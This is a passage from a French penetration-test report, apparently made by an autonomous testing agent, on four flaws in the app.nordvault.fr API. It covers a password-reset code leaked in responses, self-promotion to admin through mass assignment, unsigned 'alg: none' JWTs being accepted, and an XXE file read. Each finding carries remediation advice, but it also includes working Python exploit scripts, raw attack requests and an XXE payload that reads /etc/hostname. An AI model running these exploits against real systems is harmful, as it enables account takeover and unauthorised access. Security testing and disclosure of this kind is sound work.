_debug.jetonde sa réponse non authentifiée. Ce code permet de définir un nouveau mot de passe sans accès à la boîte mail du titulaire.Impact
Sur un compte de test créé pour l’évaluation, une personne sans session ni accès au courriel a remplacé le mot de passe et obtenu un nouveau jeton de connexion, tandis que l’ancien mot de passe était rejeté. Le mécanisme permet la prise de contrôle d’un compte dont l’adresse est connue ; l’essai a été limité au compte de test et n’établit pas une extraction de données d’autres utilisateurs.
Technical analysis
La requête
POST /api/v1/mot-de-passe/reinitialisationn’inclut niCookieniAuthorizationet ne contient que l’adresse du compte. La réponse200communique à son émetteur le code de réinitialisation dans_debug.jetonainsi qu’une durée de validité annoncée de900secondes, malgré le message affirmant qu’un courriel a été envoyé.POST /api/v1/mot-de-passe/confirmeraccepte ensuite ce même code avec l’adresse etnouveau_mot_de_passesans authentification. La validation correcte d’un code erroné ne protège pas le parcours lorsque le bon code est livré à l’appelant initial.Remediation
1. Supprimer
_debug.jetonet tout code de réinitialisation des réponses accessibles au demandeur, y compris dans les environnements exposés publiquement ; transmettre exclusivement un lien ou code à un canal vérifié appartenant au titulaire. 2. Rendre les jetons aléatoires, à durée courte, liés au compte, à usage unique et stockés sous forme d’empreinte ; appliquer une limitation de fréquence sans révéler l’existence d’un compte. 3. Invalider les sessions actives après la modification du mot de passe et ajouter un test de régression garantissant qu’aucune réponse HTTP ne divulgue le code.Remediation detailsEstimated effort: Low
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
Validation assumptions
La reproduction nécessite l’adresse d’un compte existant ; seul un compte créé et contrôlé pour l’essai a été utilisé. Aucun accès préalable à la session ou à la boîte mail n’est requis pour les deux appels de réinitialisation.
Confidence declared by the agent
HighCounterevidence examined
Un code faux est effectivement refusé (
400), ce qui confirme une vérification lors de la confirmation, mais le code correct a été communiqué par la réponse publique elle-même.Cache-Control: no-storelimite sa mise en cache et ne limite pas la divulgation directe. Les deux requêtes de réinitialisation et de confirmation examinées n’avaient niCookieniAuthorization; aucune étape de vérification du courriel n’a été nécessaire. La démonstration porte uniquement sur le compte de test, non sur une victime réelle.Evidence
Request / response
HTTP request
POST /api/v1/auth/jeton HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */* Content-Type: application/json Content-Length: 88 { "email": "identity-check-78321@example.invalid", "mot_de_passe": "R7ne!pQ4uS3x" }HTTP response
HTTP/1.1 401 Unauthorized Date: Sun, 11 Oct 2026 23:36:44 GMT Content-Type: application/json; charset=utf-8 Content-Length: 55 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=LCXQ4K3PaAJQGxqvXHiXs7OuHccR3yYWX1Kz2A20TklYkxduF9v68xcqx1ysxWIdvLf43CRYgbVaYbYLEpXb3Az45oW4wGccNdWAA6nZmSWKkGp%2B7zhh3fzlfj0Or1UouhDtvUX%2B5k12"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b04feecc4d61-FRA alt-svc: h3=":443"; ma=86400 { "erreur": "Mot de passe incorrect pour ce compte." }Request / response
HTTP request
POST /api/v1/auth/jeton HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */* Content-Type: application/json Content-Length: 78 {"email":"identity-check-78321@example.invalid","mot_de_passe":"R7ne!pQ4uS3x"}HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:36:32 GMT Content-Type: application/json; charset=utf-8 Content-Length: 272 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=t8QtchZgvPQLOn08DuTEDmVc%2BCSYKfFdRvnq7P5iisK9UajAsXajdzNsuaywYMtdHxMXKbD%2B130%2FRHzxKnk3v42Qs2Fhn8yYcv4z4B3VKK%2B2DjMEDasmek64clK8PMtvl6%2Fk7VUdJP5K"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b0003a9ddc72-FRA alt-svc: h3=":443"; ma=86400 { "jeton": "eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOjYsImVtYWlsIjoiaWRlbnRpdHktY2hlY2stNzgzMjFAZXhhbXBsZS5pbnZhbGlkIiwicm9sZSI6ImNsaWVudCIsImp0aSI6IjI1ZGViYjg2ODIzMTI0YTkiLCJleHAiOjE3OTE3OTA1OTJ9.CNnTiw6QqCu4LLxdf2_QNob7QnrIL0aJispBi0w8-LE", "type": "Bearer" }Request / response
HTTP request
POST /api/v1/mot-de-passe/confirmer HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */* Content-Type: application/json Content-Length: 117 { "email": "identity-check-78321@example.invalid", "jeton": "260329", "nouveau_mot_de_passe": "T8vy!jR5eM4k" }HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:36:41 GMT Content-Type: application/json; charset=utf-8 Content-Length: 37 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=8vK9OFPTQrIPNWpY%2B0Bb9SL6S%2FdtVy92xSrCWSYPyZ96drb1OfLYZ3ED0A4NI%2FabhzZM%2FaykSKcLrnb9mSV2yVIZYXc51eiIk5%2Biv2JKEzVC50wMNm81j4YzF2b092y%2BFNBF4YC7um5b"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b0396a7f8ed6-FRA alt-svc: h3=":443"; ma=86400 { "statut": "mot de passe modifie" }Request / response
HTTP request
POST /api/v1/mot-de-passe/reinitialisation HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */* Content-Type: application/json Content-Length: 48 {"email":"identity-check-78321@example.invalid"}HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:36:36 GMT Content-Type: application/json; charset=utf-8 Content-Length: 120 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=OxfCTaLQisnSbMPciJTVMJwOMmaAerUy4dsn%2B87WFetTJteYqAVJgLpKr%2BtS9tZqGVUwTHbrKdrGCVml0Uqh%2BJQBHKi8%2B71QzkO74XcmsXwxYxXFy1hiqFnBowRS25nAE6Hble6iqVQb"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b0199cf937e9-FRA alt-svc: h3=":443"; ma=86400 { "statut": "Si un compte existe, un e-mail a ete envoye.", "_debug": { "jeton": "260329", "expire_dans": 900 } }Exploit artifact
Reproduction
1. Utiliser uniquement un compte de test contrôlé et vérifier que son mot de passe initial fonctionne sur
POST /api/v1/auth/jeton. 2. Sans cookie ni en-tête d’autorisation, envoyer son adresse àPOST /api/v1/mot-de-passe/reinitialisationet relever_debug.jetondans la réponse. 3. Vérifier qu’un code incorrect est refusé parPOST /api/v1/mot-de-passe/confirmer. 4. Soumettre le code reçu et un nouveau mot de passe au même endpoint de confirmation, sans session ni accès au courriel. 5. Vérifier que l’ancien mot de passe échoue et que le nouveau produit un jeton de connexion.Exploit artifact
text/x-shellscript import os import requests base_url = "https://app.nordvault.fr" email = os.environ["TEST_ACCOUNT_EMAIL"] old_password = os.environ["TEST_ACCOUNT_PASSWORD"] new_password = os.environ["TEST_ACCOUNT_NEW_PASSWORD"] client = requests.Session() client.trust_env = True old_login = client.post(f"{base_url}/api/v1/auth/jeton", json={"email": email, "mot_de_passe": old_password}) assert old_login.status_code == 200 anonymous = requests.Session() anonymous.trust_env = True reset = anonymous.post(f"{base_url}/api/v1/mot-de-passe/reinitialisation", json={"email": email}) reset.raise_for_status() code = reset.json()["_debug"]["jeton"] assert code confirmation = anonymous.post(f"{base_url}/api/v1/mot-de-passe/confirmer", json={"email": email, "jeton": code, "nouveau_mot_de_passe": new_password}) confirmation.raise_for_status() assert anonymous.post(f"{base_url}/api/v1/auth/jeton", json={"email": email, "mot_de_passe": old_password}).status_code == 401 new_login = anonymous.post(f"{base_url}/api/v1/auth/jeton", json={"email": email, "mot_de_passe": new_password}) assert new_login.status_code == 200 and "jeton" in new_login.json() print("Réinitialisation sans accès au courriel confirmée sur le compte de test")Request / response
HTTP request
POST /api/v1/mot-de-passe/confirmer HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */* Content-Type: application/json Content-Length: 103 {"email":"identity-check-78321@example.invalid","jeton":"000000","nouveau_mot_de_passe":"T8vy!jR5eM4k"}HTTP response
HTTP/1.1 400 Bad Request Date: Sun, 11 Oct 2026 23:36:41 GMT Content-Type: application/json; charset=utf-8 Content-Length: 41 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=61%2FfwcF4AzUXgGACcjivttYa%2B4%2BYuKgK5faAwaqsxwJCKRSdU5g81Z0KRbpMkPT%2BCit3sLM5ojIMOUS3RlBwPzBQgayPvBv5KHUbaVYay10nNEkpCWVeVp4EGrc0HbOSb%2FkEzm36uveJ"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b038cba271b8-FRA alt-svc: h3=":443"; ma=86400 { "erreur": "jeton invalide ou expire" }This evidence comes from the autonomous testing agent and has not been independently replayed.
High
3. Élévation persistante au rôle administrateur par attribution de masse dans
PATCH /api/v1/moihttps://app.nordvault.fr/api/v1/moi
- CVSS 3.1 score
- 7.1
- Weakness (CWE)
- CWE-915
- OWASP category
- A08 · Software and Data Integrity Failures
Description
Un compte client auto-inscrit peut transmettre
role=adminà la mise à jour de son propre profil. Le serveur persiste ce rôle, émet un nouveau JWT administrateur et autorise ensuite la lecture de la liste des utilisateurs réservée à l’administration.Impact
Un client ordinaire peut modifier durablement son propre rôle en
adminsans approbation. La preuve démontre l’accès non autorisé àGET /api/v1/admin/utilisateurs: la réponse contient 12 profils avec les champsemail,entreprise,id,nometrole. Aucune autre fonction administrative ni modification d’un autre compte n’a été vérifiée.Technical analysis
La documentation
GET /api/docs/openapi.jsondécritPATCH /moicomme la mise à jour du profil et limite les propriétés annoncées du corps JSON ànomettelephone. Pourtant,PATCH /api/v1/moiaccepterole, champ sensible réservé au serveur. Depuis un JWT initial avec le claimrole=client, un corps contenant seulementrole=adminreçoit200, un objetprofil.role=adminet un nouveau JWT avec le claimrole=admin. Le contrôle d’accès deGET /api/v1/admin/utilisateursrejette le jeton client avec403, mais accepte le nouveau jeton avec200. Une nouvelle connexion par mot de passe remet un JWT administrateur, ce qui confirme que le changement n’est pas limité à la réponse PATCH ni à un jeton éphémère.Remediation
1. Limiter côté serveur les champs modifiables par
PATCH /api/v1/moiànomettelephone, indépendamment des propriétés supplémentaires envoyées et de la documentation OpenAPI. 2. Séparer toute modification deroledes opérations de profil et imposer une vérification d’autorisation administrative côté serveur avant tout changement de privilège. 3. Émettre les JWT uniquement à partir du rôle autoritatif stocké après ces contrôles, puis ajouter un test de régression vérifiant le refus du champroleet de l’accès administratif après reconnexion.Remediation detailsEstimated effort: Low
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N
Validation assumptions
L’attaquant peut créer son propre compte client au moyen de l’inscription publique ; aucun compte préexistant, rôle privilégié, clé
X-Api-Keyou donnée d’un tiers n’est nécessaire.Confidence declared by the agent
HighCounterevidence examined
Le point d’accès administratif applique bien une restriction au jeton client initial : il répond
403, ce qui exclut un simple accès administratif public. Toutefois,PATCH /api/v1/moiaccepte le champrolenon prévu dans le schéma OpenAPI, le nouveau jeton satisfait la restriction, et une connexion fraîche reproduit ce rôle depuis l’état conservé côté serveur. Le script ne montre pas de modification d’un autre compte ni de privilège administratif supplémentaire ; ces impacts ne sont pas attribués à la preuve.Evidence
Request / response
HTTP request
POST /inscription HTTP/1.1 Host: app.nordvault.fr User-Agent: python-requests/2.34.2 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Content-Length: 126 Content-Type: application/x-www-form-urlencoded nom=Client+Essai&entreprise=Entreprise+Essai&email=client9f7b43ebc9e5%40example.com&mot_de_passe=PhK7xm77kYhmHvBW56esUEhvG8%21
HTTP response
HTTP/1.1 302 Found Date: Sun, 11 Oct 2026 23:37:29 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 0 Connection: keep-alive Cache-Control: no-store location: /compte Server: cloudflare Set-Cookie: [REDACTED] cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=rV43z280IFPf1VSMx%2BUDUWYo3z5gba9rggkvA66Y7HpUWDnkLDjCbseLW0UI7qAlBPb8sQVs7p0fJlxcCsJxpn1iUAMmVRykLl4b6tatp3qrw1GplloCWnvsOYEQZY46bXS56Uwu1r6d"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b1697ac4ad91-FRA alt-svc: h3=":443"; ma=86400Request / response
HTTP request
GET /api/v1/admin/utilisateurs HTTP/1.1 Host: app.nordvault.fr User-Agent: python-requests/2.34.2 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Authorization: [REDACTED] Cookie: [REDACTED]
HTTP response
HTTP/1.1 403 Forbidden Date: Sun, 11 Oct 2026 23:37:30 GMT Content-Type: application/json; charset=utf-8 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=f18JhSqjsl%2BVHjB9dDIewFi7dbCxZtoniPlZuUfQ1X6msdi3VcFEyNEi8dz%2F%2BXgQAxXsLyupbjI4JveOsIS1S8NSbRI0Hx9OtPmrRcusmkK6rlP607sS6TdMh%2FLkM8TRaweX9YzmfHGu"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b16b0cfedccd-FRA alt-svc: h3=":443"; ma=86400 Content-Length: 50 { "erreur": "acces reserve aux administrateurs" }Request / response
HTTP request
GET /api/v1/moi HTTP/1.1 Host: app.nordvault.fr User-Agent: python-requests/2.34.2 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Authorization: [REDACTED] Cookie: [REDACTED]
HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:37:30 GMT Content-Type: application/json; charset=utf-8 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=%2FJU5ia01yMfWZJCwItT3tS6i1Ln9BoRfooajwRrA1nY5gicPcGw%2BoAqjap%2FN%2FDqRu8GU2WWQhMWov5pOsgFBslFMzNhqLFbqBOWxCjPbMfWVxw4I4RRFa12NqBaZU8l0AxixjpAghXcK"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b16a98f4d9d7-FRA alt-svc: h3=":443"; ma=86400 Content-Length: 175 { "profil": { "id": 12, "email": "client9f7b43ebc9e5@example.com", "nom": "Client Essai", "entreprise": "Entreprise Essai", "telephone": "", "role": "client" } }Request / response
HTTP request
POST /api/v1/auth/jeton HTTP/1.1 Host: app.nordvault.fr User-Agent: python-requests/2.34.2 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Cookie: [REDACTED] Content-Length: 90 Content-Type: application/json {"email": "client9f7b43ebc9e5@example.com", "mot_de_passe": "PhK7xm77kYhmHvBW56esUEhvG8!"}HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:37:29 GMT Content-Type: application/json; charset=utf-8 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=sF4H7Ibw9w0z%2BymmOgFu57UbIGOreKt%2FC9QDoWSN0M2hPveXX2142xT1Ez7NoasmlAnXIZmqhcJkg6Varr1PF4mz9G61f7Ird37RWG2FibOE9Jeao%2BnaWiPKVNr8N0SIfbR9VUMAoZCc"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b16a0f94abab-FRA alt-svc: h3=":443"; ma=86400 Content-Length: 266 { "jeton": "eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOjEyLCJlbWFpbCI6ImNsaWVudDlmN2I0M2ViYzllNUBleGFtcGxlLmNvbSIsInJvbGUiOiJjbGllbnQiLCJqdGkiOiJjYTVlYjcxZjhkYzM4ZjNkIiwiZXhwIjoxNzkxNzkwNjQ5fQ.vkYNx6XFArUW1pyHZ-J_jWP6-1aI8HWN2q_99mO8Y9A", "type": "Bearer" }Request / response
HTTP request
PATCH /api/v1/moi HTTP/1.1 Host: app.nordvault.fr User-Agent: python-requests/2.34.2 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Authorization: [REDACTED] Cookie: [REDACTED] Content-Length: 17 Content-Type: application/json {"role": "admin"}HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:37:30 GMT Content-Type: application/json; charset=utf-8 Connection: keep-alive Cache-Control: no-store Server: cloudflare Set-Cookie: [REDACTED] cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=QxDkmJAHeRgM1tB1CM946%2FdneWgJhpVWcd%2BoLgQURFggAxAtpdLZuPJRNL%2FCeZhd1Xsm4uv8tmoiXmFm48AxV%2B0LuBaYbpYmUnebkupFUkDOVYrmvlCeDzZSpOYaQTQhIi4%2FPV%2B1pav%2B"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b16b8b461cbd-FRA alt-svc: h3=":443"; ma=86400 Content-Length: 417 { "profil": { "id": 12, "email": "client9f7b43ebc9e5@example.com", "nom": "Client Essai", "entreprise": "Entreprise Essai", "telephone": "", "role": "admin" }, "jeton": "eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOjEyLCJlbWFpbCI6ImNsaWVudDlmN2I0M2ViYzllNUBleGFtcGxlLmNvbSIsInJvbGUiOiJhZG1pbiIsImp0aSI6ImNjZWM3OTIxMGYwMjA4MzEiLCJleHAiOjE3OTE3OTA2NTB9.skSjZwi2HwEMp9Q7xIGWQpPvpMtUu1km8-GmtyHhppI" }Exploit artifact
Reproduction
1. Créer un compte de test personnel sur
POST /inscriptionet obtenir un JWT viaPOST /api/v1/auth/jeton. 2. Avec le jeton client, vérifierGET /api/v1/moiet le refus403deGET /api/v1/admin/utilisateurs. 3. EnvoyerPATCH /api/v1/moiavec le jeton client,Content-Type: application/jsonet le seul champroledéfini àadmin. 4. Utiliser exclusivement le nouveau JWT de la réponse pour confirmer le rôle administrateur et l’accès200à la liste. Ne relever que les noms des champs et le nombre d’entrées. 5. Se reconnecter avec le même compte de test et constater que le rôle et l’accès administrateur persistent.Exploit artifact
text/x-shellscript import os import requests base = "https://app.nordvault.fr" email = os.environ["NOVA_TEST_EMAIL"] password = [REDACTED]] name = os.environ.get("NOVA_TEST_NAME", "Compte test") company = os.environ.get("NOVA_TEST_COMPANY", "Entreprise test") session = [REDACTED] registration = session.post(base + "/inscription", data={ "nom": name, "entreprise": company, "email": email, "mot_de_passe": password, }, allow_redirects=False, timeout=10) assert registration.status_code == 302, registration.status_code def authenticate(): response = session.post(base + "/api/v1/auth/jeton", json={ "email": email, "mot_de_passe": password, }, timeout=10) assert response.status_code == 200, response.status_code return response.json()["jeton"] def get(path, token): return session.get(base + path, headers={"Authorization": "Bearer " + token}, timeout=10) initial_token = authenticate() initial_profile = get("/api/v1/moi", initial_token) assert initial_profile.status_code == 200 assert initial_profile.json()["profil"]["role"] == "client" assert get("/api/v1/admin/utilisateurs", initial_token).status_code == 403 change = session.patch(base + "/api/v1/moi", json={"role": "admin"}, headers={"Authorization": "Bearer " + initial_token}, timeout=10) assert change.status_code == 200, change.status_code assert change.json()["profil"]["role"] == "admin" elevated_token = change.json()["jeton"] assert get("/api/v1/moi", elevated_token).json()["profil"]["role"] == "admin" admin_response = get("/api/v1/admin/utilisateurs", elevated_token) assert admin_response.status_code == 200, admin_response.status_code admin_data = admin_response.json() print({"role": "admin", "response_keys": sorted(admin_data), "user_count": len(admin_data["utilisateurs"]), "user_fields": sorted(admin_data["utilisateurs"][0])}) fresh_token = authenticate() assert get("/api/v1/moi", fresh_token).json()["profil"]["role"] == "admin" assert get("/api/v1/admin/utilisateurs", fresh_token).status_code == 200 print("Le rôle administrateur persiste après une nouvelle connexion.")This evidence comes from the autonomous testing agent and has not been independently replayed.
Medium
4. Acceptation de JWT non signés permettant l’accès à une route administrateur
https://app.nordvault.fr/api/v1/admin/utilisateurs
- CVSS 3.1 score
- 4.3
- Weakness (CWE)
- CWE-347
- OWASP category
- A02 · Cryptographic Failures
Description
L’API accepte un jeton JWT dont l’en-tête annonce
alg: noneet dont la signature est absente. Un compteclientpeut ainsi modifier sa revendicationroleenadminet accéder à/api/v1/admin/utilisateurs, normalement interdit à ce compte.Impact
Le compte de test de rôle
clientobtient une réponse200avec un corps JSON de 1 634 octets sur la liste des utilisateurs administrateur, contre403avec son jeton signé légitime. Le contenu de cette liste n’a pas été consulté afin de limiter l’accès aux données personnelles ; aucune opération d’administration en écriture ni extraction étendue n’a été démontrée.Technical analysis
POST /api/v1/auth/jetonémet un JWTHS256avec les revendicationssub,email,role,jtietexp. La modification d’un caractère de sa signature entraîne401sur/api/v1/moi, mais le remplacement de son en-tête par{"alg":"none","typ":"JWT"}et la suppression de la signature entraînent200, sans changer les revendications. En changeant ensuiteroledeclientàadmindans le corps non signé, le serveur autoriseGET /api/v1/admin/utilisateurs. La réponse de/api/v1/moiconserve pourtant le rôleclientdu profil stocké : cette différence confirme que l’autorisation de la route administrateur se fonde sur la revendication manipulable du jeton plutôt que sur le rôle persistant du compte.Remediation
1. Refuser explicitement
alg: noneet n’accepter qu’un algorithme de signature configuré côté serveur, avec une vérification cryptographique obligatoire sur toutes les routes et tous les modes de transport du jeton. 2. Valider les revendications temporelles et le contexte du jeton avant toute décision d’autorisation ; ne jamais choisir l’algorithme de vérification depuis l’en-tête fourni par le client. 3. Vérifier le rôle et les permissions administratives à partir d’un état serveur fiable, puis ajouter des tests de non-régression couvrant les signatures invalides, les jetons non signés et les rôles falsifiés.Remediation detailsEstimated effort: Medium
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Validation assumptions
La reproduction nécessite uniquement un compte
clientcréé par l’inscription autonome ; les essais portent sur ce compte de test. Les revendications du JWT initial fournissentsub,jtietexp, réutilisés sans changement.Confidence declared by the agent
HighCounterevidence examined
Le serveur refuse effectivement un jeton
HS256dont la signature a été altérée (401) ; le contrôle n’est donc pas globalement désactivé. La même route administrateur refuse le JWT valide du compteclient(403) et une requête anonyme (403). Toutefois, le JWTalg:noneportantrole:admincontourne ces refus (200) alors que le profil persistant demeureclient. L’accès démontré concerne une liste en lecture ; les opérations d’administration en écriture et l’ampleur du contenu ne sont pas vérifiées.Evidence
Request / response
HTTP request
GET /api/v1/moi HTTP/1.1 Host: app.nordvault.fr User-Agent: python-requests/2.34.2 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Authorization: [REDACTED]
HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:37:25 GMT Content-Type: application/json; charset=utf-8 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=IecP3n3OMnntyF4r7oNJvS8C9O7%2Fo37qmGCnYHNXBowc8EAx34LzqDdty99iaIQwtodoiKMs2dB7G%2BMKXT6ScYyHlURlWOcSoVlawk9xlsK6rbJQ249utJsN%2BAPgykwlS%2B4OzO1DG29f"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b14b7aa0dca9-FRA alt-svc: h3=":443"; ma=86400 Content-Length: 156 { "profil": { "id": 11, "email": "client-92467@example.invalid", "nom": "Test", "entreprise": "Exemple", "telephone": "", "role": "client" } }Exploit artifact
Reproduction
1. Créer un compte de test ordinaire et obtenir son JWT signé auprès de
POST /api/v1/auth/jeton. 2. Vérifier que ce jeton permetGET /api/v1/moimais queGET /api/v1/admin/utilisateursrépond403. 3. Vérifier qu’une signatureHS256altérée répond401sur/api/v1/moi. 4. Construire un JWT non signé avec l’en-têtealg: none, les revendications initiales et un point final sans signature ; constater200sur/api/v1/moi. 5. Modifier uniquement la revendicationroleenadminsur ce JWT non signé ; constater200sur/api/v1/admin/utilisateurs, sans lire le corps de la liste.Exploit artifact
text/x-shellscript import base64 import json import os import requests BASE = "https://app.nordvault.fr" def encode(value): raw = json.dumps(value, separators=(",", ":")).encode() return base64.urlsafe_b64encode(raw).rstrip(b"=").decode() def decode(value): return json.loads(base64.urlsafe_b64decode(value + "=" * (-len(value) % 4))) session = [REDACTED] login = session.post( BASE + "/api/v1/auth/jeton", json={"email": os.environ["NOVA_EMAIL"], "mot_de_passe": os.environ["NOVA_PASSWORD"]}, timeout=10, ) login.raise_for_status() signed = login.json()["jeton"] header, payload, signature = signed.split(".") claims = decode(payload) assert claims["role"] == "client" unsigned = encode({"alg": "none", "typ": "JWT"}) + "." + encode(claims) + "." admin_claims = dict(claims, role="admin") forged = encode({"alg": "none", "typ": "JWT"}) + "." + encode(admin_claims) + "." bad_signature = signed[:-1] + ("A" if signed[-1] != "A" else "B") def status(path, token): response = session.get( BASE + path, headers={"Authorization": "Bearer " + token}, timeout=10, stream=True, ) result = (response.status_code, response.headers.get("Content-Length")) response.close() return result print("client /moi:", status("/api/v1/moi", signed)) print("bad signature /moi:", status("/api/v1/moi", bad_signature)) print("unsigned /moi:", status("/api/v1/moi", unsigned)) print("client /admin/utilisateurs:", status("/api/v1/admin/utilisateurs", signed)) print("forged admin /admin/utilisateurs:", status("/api/v1/admin/utilisateurs", forged))This evidence comes from the autonomous testing agent and has not been independently replayed.
Medium
5. Entités XML externes permettant la lecture d’un fichier local dans l’import des commandes
https://app.nordvault.fr/api/v1/import-commandes
- CVSS 3.1 score
- 4.3
- Weakness (CWE)
- CWE-611
- OWASP category
- A05 · Security Misconfiguration
Description
L’API authentifiée
POST /api/v1/import-commandesrésout une entité XML externe pointant vers un fichier local et en renvoie le contenu dansimportees[0].reference. Un compte client créé par l’inscription publique suffit à lire ainsi un fichier accessible au processus serveur.Impact
La réponse a révélé le contenu de
/etc/hostname, un fichier local qui ne fait pas partie des données de commande soumises. La preuve établit une lecture limitée du système de fichiers avec un compte client ; elle ne démontre ni accès à des secrets, ni SSRF, ni modification persistante des commandes.Technical analysis
Le corps
application/xmlaccepte une déclarationDOCTYPEet développe les entités dans l’élément<reference>. L’entité interne de contrôle produitSAFE_LITERAL, tandis que l’entité externeSYSTEM "file:///etc/hostname"produitnova-web-01dans la réponse JSON. Un chemin inexistant produit mêmeCouldn't open file /etc/nova-nonexistent-validation-markerdans le champreference, ce qui confirme la tentative d’ouverture côté serveur. Le parseur ne refuse donc pas les définitions d’entités externes ni leur résolution locale avant de construire la réponse. Une requête sans session valide reçoit401, ce qui limite l’attaque aux comptes authentifiés.Remediation
1. Configurer le parseur XML utilisé par l’import pour interdire les déclarations
DOCTYPEet désactiver la résolution des entités externes, y compris l’accès aux fichiers et au réseau. 2. Rejeter les documents qui déclarent des entités et vérifier, par des tests de régression, qu’un XML de commande ordinaire reste accepté tandis qu’une référencefile://ne produit ni lecture ni contenu reflété.Remediation detailsEstimated effort: Low
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Validation assumptions
Un attaquant peut créer un compte client via l’inscription publique. L’accès aux fichiers est limité aux permissions de lecture du processus de traitement XML ; seules ces permissions pour
/etc/hostnameont été vérifiées.Confidence declared by the agent
HighCounterevidence examined
Le contrôle d’authentification existe : la requête sans session valide retourne
401, et le document XML vide retourne400. Ces contrôles ne filtrent pas les entités externes pour un compte client valide. Les essais n’ont montré ni lecture de fichier secret, ni accès réseau par le parseur, ni écriture ou commande métier persistante ; l’impact est donc limité à la lecture locale démontrée.Evidence
Request / response
HTTP request
POST /api/v1/import-commandes HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */* Cookie: [REDACTED] # https://curl.se/docs/http-cookies.html # This file was generated by libcurl! Edit at your own risk. app.nordvault.fr FALSE / FALSE 0 nova_jeton eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOjksImVtYWlsIjoiMWZjYjRlZjY4ZjMwN2JAZXhhbXBsZS5pbnZhbGlkIiwicm9sZSI6ImNsaWVudCIsImp0aSI6Ijc1N2E2OTMwMTU3MjUyOTUiLCJleHAiOjE3OTE3OTA2MDZ9.RobHNPRKRO4j7LO2OKIxZsKx1M4OQACDlfPIBL3sJGI Content-Type: application/xml Content-Length: 142 <!DOCTYPE commandes [<!ENTITY probe SYSTEM "file:///etc/hostname">]><commandes><commande><reference>&probe;</reference></commande></commandes>
HTTP response
